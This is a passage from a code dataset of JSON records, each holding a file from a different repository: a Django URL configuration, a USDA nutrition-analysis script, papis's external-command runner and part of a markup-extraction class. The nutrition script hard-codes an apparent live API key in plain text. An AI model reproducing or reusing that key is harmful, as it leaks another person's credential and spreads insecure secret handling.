"usage_type": "call"}, {"api_name": "time.sleep", "line_number": 316, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 319, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 323, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 330, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 337, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 342, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 346, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 352, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 357, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 358, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 365, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 369, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 373, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 379, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 384, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 385, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 392, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 396, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 400, "usage_type": "call"}, {"api_name": "msvcrt.getch", "line_number": 420, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 427, "usage_type": "call"}, {"api_name": "msvcrt.getch", "line_number": 429, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 440, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 443, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 454, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 455, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 459, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 460, "usage_type": "call"}, {"api_name": "itemGen.Weapon", "line_number": 490, "usage_type": "attribute"}, {"api_name": "intro.slow_type", "line_number": 494, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 498, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 500, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 501, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 511, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 514, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 517, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 537, "usage_type": "call"}, {"api_name": "{'sleep': 'time.sleep'}.totalChars", "line_number": 550, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 567, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 568, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 572, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 578, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 584, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 589, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 597, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 599, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 601, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 605, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 606, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 610, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 611, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 615, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 616, "usage_type": "call"}, {"api_name": "{'sleep': 'time.sleep'}.totalChars", "line_number": 627, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 630, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 651, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 652, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 655, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 661, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 667, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 672, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 677, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 681, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 683, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 699, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 701, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 703, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 707, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 708, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 709, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 713, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 714, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 719, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 720, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 725, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 729, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 734, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 735, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 740, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 744, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 745, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 751, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 752, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 757, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 792, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 793, "usage_type": "call"}, {"api_name": "os.system", "line_number": 798, "usage_type": "call"}, {"api_name": "{'system': 'os.system', 'mixer': 'pygame.mixer', 'main': 'TextRPG.main'}", "line_number": 802, "usage_type": "call"}]}
{"seq_id": "20996797175", "text": "\r\nfrom django.urls import path\r\nfrom  . import views\r\n\r\n\r\nurlpatterns = [\r\n    path(r'',views.index,name='index'),\r\n    path(r'home',views.index,name='index'),\r\n    path(r'gallery',views.gallery,name='gallery'),\r\n    path(r'aboutus',views.aboutus,name='aboutus'),\r\n    path(r'contact',views.contact,name='contact'),\r\n    path(r'services',views.services,name='services'),\r\n    path(r'blog',views.blog,name='blog'),\r\n    path(r'contactsubmit',views.contactsubmit,name='contactsbumit'),\r\n\r\n\r\n]\r\n", "repo_name": "Rohitstar2050/SandyProject", "sub_path": "homepage/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 492, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}]}
{"seq_id": "43026942228", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Nov  5 13:32:31 2019\r\n\r\n@author: sonik\r\n\"\"\"\r\n\r\n\r\nimport sys\r\nimport time\r\n\r\nimport requests\r\nimport pandas as pd\r\n\r\nimport numpy as np\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n\r\n\r\n\r\nname_dicc = {\r\n    '208': 'Energy (Kcal)',\r\n    '203': 'Protein(g)',\r\n    '204': 'Total Lipid (g)',    \r\n    '307': 'Sodium(mg)',\r\n    '269': 'Total Sugar(g)',\r\n    '291': 'Fiber(g)',\r\n    '301': 'Calcium(mg)',\r\n    '303': 'Iron (mg)',\r\n    }\r\n\r\napi_key = \"fTDlZCFQsnNuRFKrJoWMbW2u8bvj5vOATefxjzg1\"\r\n\r\nuser_product_data = pd.DataFrame() #creates a new dataframe that's empty\r\n\r\nnutrition_data = pd.DataFrame()\r\nclass nutrition:\r\n    \r\n     def __init__(self,user_df):\r\n        \r\n         print(\"### user_products##\")\r\n         prod_data = giveElements()\r\n         \r\n         \r\n        \r\n         data_o = user_df.merge(prod_data, left_on='product_id',right_on='product_id')\r\n         user_product_data = data_o\r\n         \r\n         \r\n         nutri_data = getnutrition(user_product_data)\r\n         \r\n        \r\n             \r\n         plot_chart(nutri_data)    \r\n         \r\n         \r\n\r\ndef plot_chart(nutri_data):\r\n    \r\n    foodlist = []\r\n    for key, value in nutri_data.iteritems(): \r\n#        print(key) \r\n#        print(value)\r\n#        print() \r\n        if key == \"USDA Name\":\r\n            foodlist = value\r\n    \r\n    print()\r\n    print()\r\n    print()\r\n    print()\r\n    print(\"#######\")\r\n          \r\n    print(\"food Ordered frequently along with Nutriotional Analysis\")        \r\n    print(foodlist)       \r\n        \r\n    print(nutri_data.info())\r\n    \r\n    print(\"Total Appx Energy Values\" + str(nutri_data[['Energy (Kcal)']].sum()))\r\n    \r\n    nutri_data[['Energy (Kcal)']].sum().plot.bar()\r\n    \r\n  \r\n    plt.title('Total Energy Values')\r\n    plt.xlabel('Energy (Kcal)')\r\n    plt.ylabel('value')\r\n    \r\n    \r\n    plt.show()\r\n    \r\n    time.sleep(10)\r\n    \r\n    print(\"Total Appx Sugar Values\" + str(nutri_data[['Total Sugar(g)']].sum()))\r\n    nutri_data[['Total Sugar(g)']].sum().plot.bar()\r\n\r\n    \r\n    plt.title('Total Sugar Values')\r\n    plt.xlabel('Total Sugar(g)')\r\n    plt.ylabel('value')\r\n    \r\n    plt.show()\r\n    \r\n    time.sleep(10)\r\n    \r\n    print(\"Total Appx Protein(g) Values\" + str(nutri_data[['Protein(g)']].sum()))\r\n    nutri_data[['Protein(g)']].sum().plot.bar()\r\n    \r\n    plt.title('Total Protein Values')\r\n    plt.xlabel('Protein(g)')\r\n    plt.ylabel('value')\r\n    \r\n    \r\n    \r\n    plt.show()\r\n    \r\n    time.sleep(10)\r\n    \r\n    \r\n    print(\"Total Appx Calcium(mg) Values\" + str(nutri_data[['Calcium(mg)']].sum()))\r\n    nutri_data[['Calcium(mg)']].sum().plot.bar()\r\n    \r\n    \r\n    plt.title('Total Calcium(mg) Values')\r\n    plt.xlabel('Calcium(mg)')\r\n    plt.ylabel('value')\r\n    \r\n    \r\n    \r\n    plt.show()\r\n    \r\n    time.sleep(10)\r\n    \r\n    \r\n    print(\"Total Appx Sodium(mg) Values\" + str(nutri_data[['Sodium(mg)']].sum()))\r\n    nutri_data[['Sodium(mg)']].sum().plot.bar()\r\n\r\n    plt.title('Total Sodium(mg) Values')\r\n    plt.xlabel('Sodium(mg)')\r\n    plt.ylabel('value')\r\n    \r\n    plt.show()\r\n    \r\n    time.sleep(10)\r\n    \r\n    \r\n    print(\"Total Appx Fiber(g) Values\" + str(nutri_data[['Fiber(g)']].sum()))\r\n    nutri_data[['Fiber(g)']].sum().plot.bar()\r\n    \r\n    plt.title('Total Fiber(g) Values')\r\n    plt.xlabel('Fiber(g)')\r\n    plt.ylabel('value')\r\n    \r\n    plt.show()\r\n    \r\n    plt.show()\r\n    \r\n    \r\n        \r\n\r\ndef giveElements():\r\n    \r\n    \r\n    link_data = pd.read_csv(\"C:/Users/sonik/Documents/Advance Research/instacart_2017/step-wise-analysis/link.csv\")\r\n     \r\n    return link_data\r\n    \r\n    \r\n\r\ndef getnutrition(user_product_data):\r\n    numbers = user_product_data['ndbno'].tolist()\r\n    response = {\r\n        'api_key': api_key,\r\n        'ndbno': numbers,\r\n        'format': 'json',\r\n    }\r\n    req = requests.get('https://api.nal.usda.gov/ndb/V2/reports', response)\r\n    #print(req.json())\r\n    arr = []\r\n    g100 = []\r\n    \r\n    req = requests.get('https://api.nal.usda.gov/ndb/V2/reports', response)\r\n   \r\n    for fd in req.json()['foods']:\r\n            if 'food' not in fd:\r\n                continue\r\n            food = fd['food']\r\n            name = food['desc']['name']\r\n            ndbno = food['desc']['ndbno']\r\n            nut_dicc = {\r\n                '208': np.nan,\r\n                '203': np.nan,\r\n                '204': np.nan,                \r\n                '307': np.nan,\r\n                '269': np.nan,\r\n                '291': np.nan,\r\n                '301': np.nan,\r\n                '303': np.nan,\r\n            }\r\n            ver = True\r\n    \r\n    \r\n    \r\n            \r\n            for nutrient in food['nutrients']:\r\n                if nutrient['nutrient_id'] in nut_dicc and ('measures' not in nutrient or len(nutrient['measures']) == 0 or nutrient['measures'] == [None]):\r\n                        ver = False\r\n                if not ver:\r\n                    g100 += [ndbno]\r\n                    print(ndbno)\r\n        \r\n                for nutrient in food['nutrients']:\r\n                    if nutrient['nutrient_id'] in nut_dicc:\r\n                        try:\r\n                            if ver:\r\n                                measure = nutrient['measures'][0]\r\n                                nut_dicc[nutrient['nutrient_id']] = float(measure['value'])\r\n                            else:\r\n                                nut_dicc[nutrient['nutrient_id']] = float(nutrient['value'])\r\n                        except:\r\n                            print(ndbno)\r\n                            sys.exit(1)\r\n    #            ans = {'NDB_No': ndbno, 'USDA Name': name}\r\n            ans = {'NDB_No': ndbno, 'USDA Name': name}\r\n            for key, value in nut_dicc.items():\r\n                ans[name_dicc[key]] = value\r\n            arr += [ans]\r\n            time.sleep(1)\r\n    nutri_df = pd.DataFrame(arr)\r\n    nutri_df = nutri_df[['NDB_No', 'USDA Name', 'Energy (Kcal)', 'Total Sugar(g)', 'Total Lipid (g)', 'Protein(g)',\r\n             'Sodium(mg)', 'Fiber(g)', 'Calcium(mg)', 'Iron (mg)', ]]\r\n    #print(nutri_df.info())\r\n    nutri_df.drop_duplicates(inplace = True)\r\n   \r\n         \r\n    isempty = nutri_df.empty\r\n     \r\n    if isempty == False:\r\n        return nutri_df\r\n    else:\r\n         print(\"Unable to fetch Data for nutrition from USDA\")\r\n        \r\n        \r\n        \r\n        \r\n#            for key, value in nut_dicc.items():\r\n                \r\n                \r\n                \r\n                \r\n                \r\n#                ans[name_dicc[key]] = value\r\n#            arr += [ans]\r\n#            time.sleep(1)\r\n#    nutri_data = pd.DataFrame(arr)\r\n#    nutri_data = nutri_data[['NDB_No', 'USDA Name', 'Energy (Kcal)', 'Total Sugar(g)', 'Total Lipid (g)', 'Water (g)', 'Protein(g)',\r\n#             'Sodium(mg)', 'Fiber(g)', 'Calcium(mg)', 'Iron (mg)', ]]\r\n#    print(nutri_data)\r\n    \r\n    \r\n    \r\n", "repo_name": "sonikasood/Python-Simple-Recommendation-System", "sub_path": "A_App/nutri.py", "file_name": "nutri.py", "file_ext": "py", "file_size_in_byte": 6823, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pandas.DataFrame", "line_number": 36, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 143, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 151, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 151, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 152, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 153, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 153, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 155, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 155, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 157, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 157, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 165, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 178, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 192, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 193, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 194, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 195, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 196, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 197, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 198, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 199, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 223, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 229, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 230, "usage_type": "call"}]}
{"seq_id": "593876084", "text": "\"\"\"\nThis module define the entry point for external scripts to be called by papis.\n\"\"\"\n\nimport os\nimport re\nfrom typing import Any, Dict, List, Optional\n\nimport click\n\nimport papis.utils\nimport papis.config\nimport papis.commands\nimport papis.logging\n\nlogger = papis.logging.get_logger(__name__)\n\n\ndef get_command_help(path: str) -> str:\n    \"\"\"Get help string from external commands.\"\"\"\n    magic_word = papis.config.getstring(\"scripts-short-help-regex\")\n    with open(path) as fd:\n        for line in fd:\n            match = re.match(magic_word, line)\n            if match:\n                return str(match.group(1))\n\n    return \"No help message available\"\n\n\ndef get_exported_variables(ctx: Optional[Dict[str, Any]] = None) -> Dict[str, str]:\n    \"\"\"\n    Export environment variables so that external script can access to\n    the information\n    \"\"\"\n    exports = {\n        \"PAPIS_LIB\": papis.config.get_lib().name,\n        \"PAPIS_LIB_PATH\": papis.config.get_lib().path_format(),\n        \"PAPIS_CONFIG_PATH\": papis.config.get_config_folder(),\n        \"PAPIS_CONFIG_FILE\": papis.config.get_config_file(),\n        \"PAPIS_SCRIPTS_PATH\": papis.config.get_scripts_folder(),\n    }\n\n    if ctx is not None:\n        if ctx.get(\"verbose\"):\n            exports[\"PAPIS_DEBUG\"] = \"1\"\n        if ctx.get(\"log\"):\n            exports[\"PAPIS_LOG_LEVEL\"] = str(ctx[\"log\"])\n        if ctx.get(\"color\"):\n            exports[\"PAPIS_LOG_COLOR\"] = str(ctx[\"color\"])\n        if ctx.get(\"logfile\"):\n            exports[\"PAPIS_LOG_FILE\"] = str(ctx[\"logfile\"])\n\n    return exports\n\n\n@click.command(\n    context_settings={\n        \"ignore_unknown_options\": True,\n        \"help_option_names\": [],\n        }\n    )\n@click.argument(\"flags\", nargs=-1)\n@click.pass_context\ndef external_cli(ctx: click.core.Context, flags: List[str]) -> None:\n    \"\"\"Actual papis command to call the external command\"\"\"\n    script: papis.commands.Script = ctx.obj\n    path = script.path\n    if not path:\n        raise FileNotFoundError(f\"Path for script '{script}' not found\")\n\n    cmd = [path] + list(flags)\n    logger.debug(\"Calling external command '%s'.\", cmd)\n\n    params = ctx.parent.params if ctx.parent else {}\n    environ = os.environ.copy()\n    environ.update(get_exported_variables(params))\n\n    papis.utils.run(cmd, env=environ)\n", "repo_name": "papis/papis", "sub_path": "papis/commands/external.py", "file_name": "external.py", "file_ext": "py", "file_size_in_byte": 2291, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1237, "dataset": "github-code", "pt": "81", "api": [{"api_name": "papis.utils.logging.get_logger", "line_number": 16, "usage_type": "call"}, {"api_name": "papis.utils.logging", "line_number": 16, "usage_type": "attribute"}, {"api_name": "papis.utils", "line_number": 16, "usage_type": "name"}, {"api_name": "papis.utils.config.getstring", "line_number": 21, "usage_type": "call"}, {"api_name": "papis.utils.config", "line_number": 21, "usage_type": "attribute"}, {"api_name": "papis.utils", "line_number": 21, "usage_type": "name"}, {"api_name": "re.match", "line_number": 24, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 31, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 31, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 31, "usage_type": "name"}, {"api_name": "papis.utils.config.get_lib", "line_number": 37, "usage_type": "call"}, {"api_name": "papis.utils.config", "line_number": 37, "usage_type": "attribute"}, {"api_name": "papis.utils", "line_number": 37, "usage_type": "name"}, {"api_name": "papis.utils.config.get_lib", "line_number": 38, "usage_type": "call"}, {"api_name": "papis.utils.config", "line_number": 38, "usage_type": "attribute"}, {"api_name": "papis.utils", "line_number": 38, "usage_type": "name"}, {"api_name": "papis.utils.config.get_config_folder", "line_number": 39, "usage_type": "call"}, {"api_name": "papis.utils.config", "line_number": 39, "usage_type": "attribute"}, {"api_name": "papis.utils", "line_number": 39, "usage_type": "name"}, {"api_name": "papis.utils.config.get_config_file", "line_number": 40, "usage_type": "call"}, {"api_name": "papis.utils.config", "line_number": 40, "usage_type": "attribute"}, {"api_name": "papis.utils", "line_number": 40, "usage_type": "name"}, {"api_name": "papis.utils.config.get_scripts_folder", "line_number": 41, "usage_type": "call"}, {"api_name": "papis.utils.config", "line_number": 41, "usage_type": "attribute"}, {"api_name": "papis.utils", "line_number": 41, "usage_type": "name"}, {"api_name": "click.core", "line_number": 65, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 65, "usage_type": "name"}, {"api_name": "papis.utils.commands", "line_number": 67, "usage_type": "attribute"}, {"api_name": "papis.utils", "line_number": 67, "usage_type": "name"}, {"api_name": "os.environ.copy", "line_number": 76, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 76, "usage_type": "attribute"}, {"api_name": "papis.utils.utils.run", "line_number": 79, "usage_type": "call"}, {"api_name": "papis.utils.utils", "line_number": 79, "usage_type": "attribute"}, {"api_name": "papis.utils", "line_number": 79, "usage_type": "name"}, {"api_name": "click.command", "line_number": 57, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 63, "usage_type": "call"}, {"api_name": "click.pass_context", "line_number": 64, "usage_type": "attribute"}]}
{"seq_id": "72864183291", "text": "\"\"\"Module to handle markup extraction and reinsertion.\"\"\"\nimport logging\nfrom collections import OrderedDict\nfrom typing import List, Union\n\nfrom bs4 import BeautifulSoup\nfrom bs4.element import Comment, NavigableString, Tag\n\nfrom pytransins.tokenizer import MosesTokenizer, Tokenizer, TokenizerGroup\nfrom pytransins.utils import compare_markup, get_opening_tag, is_tag\n\n\nclass TransIns:\n    \"\"\"Class to orchestrate extraction and reinsertion of markup via the Complete Mapping Strategy as described by the 2019 EMNLP paper TransIns.\"\"\"\n\n    def __init__(self, tokenizer: Union[None, Tokenizer] = None) -> None:\n        \"\"\"\n        Initialize TransIns object to handle markup extraction and reinsertion.\n\n        Parameters\n        ----------\n        tokenizer : Union[None, Tokenizer]\n            Tokenizer to use. If set to None, will initialize MosesTokenizer. (default None)\n\n        Returns\n        -------\n        None\n        \"\"\"\n\n        self.logger = logging.getLogger(\"pytransins\")\n        if tokenizer is None:\n            tokenizer = MosesTokenizer()\n\n        # Check if tokenizer works\n        try:\n            if not tokenizer.languages:\n                raise TypeError(\"Tokenizer does not support any languages\")\n\n            res = tokenizer.tokenize(\"this is a test\", tokenizer.languages[0])\n            tokenizer.detokenize(res)\n\n        except Exception as exc:\n            self.logger.error(exc)\n            raise\n\n        self.tokenizer = TokenizerGroup()\n\n        self.tokenizer.add_tokenizer(tokenizer)\n\n        self.self_closing = [\n            \"area\",\n            \"base\",\n            \"br\",\n            \"col\",\n            \"embed\",\n            \"hr\",\n            \"img\",\n            \"input\",\n            \"link\",\n            \"meta\",\n            \"param\",\n            \"source\",\n            \"track\",\n            \"wbr\",\n            \"command\",\n            \"keygen\",\n            \"menuitem\",\n        ]  # List of tags to treat as self closing\n\n        self.dnt = [\"script\", \"style\"]  # Do not translate tags\n\n        self.tag_id_map = {}  # Maps tag IDs to actual tags\n\n        # Source version\n        self.tag_map = {}\n        self.tokens = []\n        self.no_token_tags = {}\n\n        # Target version\n        self.tgt_tag_map = {}\n        self.tgt_tokens = []\n        self.tgt_no_token_tags = {}\n\n    def _extract_markup(\n        self, element: Tag, offset: int = 0, lang: str = \"en\"\n    ) -> List[str]:\n        \"\"\"\n        Traverses down the document tree (depth first) from a given element to populate the tag_map and no_token_tags dictionaries.\n\n        Parameters\n        ----------\n        element : bs4.element.Tag\n            The root element to start recursing down\n        offset : int (default 0)\n            An offset to keep track of how many tokens have been generated\n\n\n        Returns\n        -------\n        token_buffer : List[str]\n            A list containing the plaintext tokens extracted\n        \"\"\"\n        # Assign a tag ID to the tag\n        if not self.tag_id_map:\n            tag_id = 0\n\n        else:\n            tag_id = max(self.tag_id_map.keys()) + 1\n\n        if (\n            type(element) == NavigableString\n        ):  # Text Node, without any child tags. No more markup to process.\n            token_buffer = self.tokenizer.tokenize(element.text, lang=lang)\n            return token_buffer\n\n        elif type(element) == Comment:\n            self.tag_id_map[tag_id] = f\"<!-- {str(element)} -->\"\n            if offset not in self.no_token_tags:\n                self.no_token_tags[offset] = []\n\n            self.no_token_tags[offset].append(tag_id)\n            return []\n\n        try:\n            children = element.contents\n\n        except Exception as exc:\n            self.logger.warning(\n                f\"Dropping tag as could not get children of non text node and non comment: {exc}\"\n            )\n            return []\n\n        self.tag_id_map[tag_id] = get_opening_tag(element)\n\n        # Has children, but not any text nodes. Wrap entire element as 1, without further processing. Also include do not translate tags\n        if (children and not element.text) or element.name in self.dnt:\n            self.tag_id_map[tag_id] += (\n                \"\".join(str(child) for child in children) + f\"</{element.name}>\"\n            )\n            if offset not in self.no_token_tags:\n                self.no_token_tags[offset] = []\n\n            self.no_token_tags[offset].append(tag_id)\n            return []\n\n        token_buffer = []\n\n        for child in children:\n            child_tokens = self._extract_markup(\n                child, offset=offset + len(token_buffer)\n            )  # Recurse over each child\n\n            # Assign each token a token id and map the tags\n            for i in range(\n                offset + len(token_buffer),\n                offset + len(token_buffer) + len(child_tokens),\n            ):\n                if i not in self.tag_map:\n                    self.tag_map[i] = []\n\n                self.tag_map[i].append(tag_id)\n\n            token_buffer.extend(child_tokens)\n\n        if (\n            not token_buffer\n        ):  # All children did not return any tokens to tag to. Often occurs for self closing tags\n            if element.name in self.self_closing:\n                self.tag_id_map[tag_id] = self.tag_id_map[tag_id][:-1] + \" />\"\n\n            else:\n                self.tag_id_map[tag_id] += f\"</{element.name}>\"\n\n            if offset not in self.no_token_tags:\n                self.no_token_tags[offset] = []\n\n            self.no_token_tags[offset].append(tag_id)\n\n        return token_buffer\n\n    def extract_markup(self, raw: str, lang=\"en\") -> None:\n        \"\"\"\n        Populate the tag_map, no_token_tags and tokens attributes. (see _extract_markup method).\n\n        Parameters\n        ----------\n        raw : str\n            Raw markup 